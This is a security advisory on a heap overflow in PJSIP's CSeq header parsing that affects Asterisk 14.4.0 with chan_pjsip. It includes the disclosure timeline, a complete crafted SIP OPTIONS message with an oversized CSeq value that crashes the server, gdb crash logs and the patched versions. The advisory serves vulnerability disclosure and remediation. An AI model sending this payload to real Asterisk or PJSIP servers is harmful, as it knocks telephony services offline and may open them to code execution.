Asterisk version 14.4.0 with PJSIP version 2.6 suffers from a heap overflow vulnerability in CSEQ header parsing.
ffae82070b494ad6a86bd977ef721698# Heap overflow in CSEQ header parsing affects Asterisk chan_pjsip and
PJSIP
- Authors:
- Alfred Farrugia <[email protected]>
- Sandro Gauci <[email protected]>
- Vulnerable version: Asterisk 14.4.0 running `chan_pjsip`, PJSIP 2.6
- References: AST-2017-002
- Enable Security Advisory:
<https://github.com/EnableSecurity/advisories/tree/master/ES2017-01-asterisk-pjsip-cseq-overflow>
- Vendor Advisory:
<http://downloads.asterisk.org/pub/security/AST-2017-002.html>
- Timeline:
- Report date: 2017-04-12
- Digium confirmed issue: 2017-04-12
- Digium patch and advisory: 2017-05-19
- PJSIP added patch by Digium: 2017-05-21
- Enable Security advisory: 2017-05-23
## Description
A specially crafted SIP message with a long CSEQ value will cause a heap
overflow in PJSIP.
## Impact
Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use. This vulnerability is likely to be abused for
remote code execution and may affect other code that makes use of PJSIP.
## How to reproduce the issue
We made use of the following SIP message which was sent to Asterisk over
UDP to reproduce the issue:
OPTIONS sip:localhost:5060 SIP/2.0
From: <sip:test@localhost>
To: <sip:test2@localhost>
Call-ID: aa@0000000000
CSeq: 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Via: SIP/2.0/UDP 195.37.78.177:5060
Contact: <sip:test@localhost>
Content-Length: 0
.
The following is a log from running Asterisk in gdb:
gdb --args asterisk -c
....
Asterisk Ready.
[New Thread 0x7fffc87a7700 (LWP 412)]
*CLI> [Thread 0x7ffff4bfe700 (LWP 379) exited]
[Thread 0x7ffff4cf6700 (LWP 375) exited]
[Thread 0x7ffff4dee700 (LWP 373) exited]
*CLI> [Thread 0x7ffff4e6a700 (LWP 372) exited]
[Thread 0x7ffff4f62700 (LWP 370) exited]
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffd6403700 (LWP 394)]
malloc_consolidate (av=av@entry=0x7fffe8000020) at malloc.c:4151
4151 malloc.c: No such file or directory.
(gdb) bt
#0 malloc_consolidate (av=av@entry=0x7fffe8000020) at malloc.c:4151
#1 0x00007ffff5499ce8 in _int_malloc (av=0x7fffe8000020,
bytes=4096) at malloc.c:3423
#2 0x00007ffff549c6c0 in __GI___libc_malloc (bytes=4096) at
malloc.c:2891
#3 0x00007ffff78f0965 in default_block_alloc
(factory=0x7fffd7dee0a0 <caching_pool>, size=4096) at
../src/pj/pool_policy_malloc.c:46
#4 0x00007ffff78f801c in pj_pool_create_int
(f=f@entry=0x7fffd7dee0a0 <caching_pool>,
name=name@entry=0x7ffff790ad28 "tdta%p",
initial_size=initial_size@entry=4096,
increment_size=increment_size@entry=4000,
callback=callback@entry=0x7ffff78741a0 <pool_callback>) at
../src/pj/pool.c:201
When the Asterisk Malloc debugger is used, the following logs can be
seen upon exiting the process, showing that other memory segments are
being overwritten by our malformed `CSEQ`:
Asterisk Malloc Debugger Started (see
/opt/asterisk/var/log/asterisk/mmlog))
Asterisk Ready.
[Apr 11 23:52:41] NOTICE[18382]: res_pjsip/pjsip_distributor.c:536
log_failed_request: Request 'OPTIONS' from '<sip:test@localhost>'
failed for '10.0.2.2:44779' (callid: aa@0000000000) - No matching
endpoint found
^CAsterisk cleanly ending (0).
Executing last minute cleanups
== Destroying musiconhold processes
== Manager unregistered action DBGet
== Manager unregistered action DBPut
== Manager unregistered action DBDel
== Manager unregistered action DBDelTree
WARNING: High fence violation of 0x7ff0640058d0 allocated at
../src/pj/pool_policy_malloc.c default_block_alloc() line 46
WARNING: Memory corrupted after free of 0x7ff064006970 allocated at
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$0$$aa@0000000000$195.37.78.177:5060$
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$0$$aa@0000000000$195.37.78.177:5060$()
line 1094795585
Segmentation fault
This security issue was discovered through the use of simple fuzzing
with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.
## Solutions and recommendations
Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or
13.13-cert4.
If making use of PJSIP, apply the patch in revision 5593. See
<https://trac.pjsip.org/repos/ticket/2016>.
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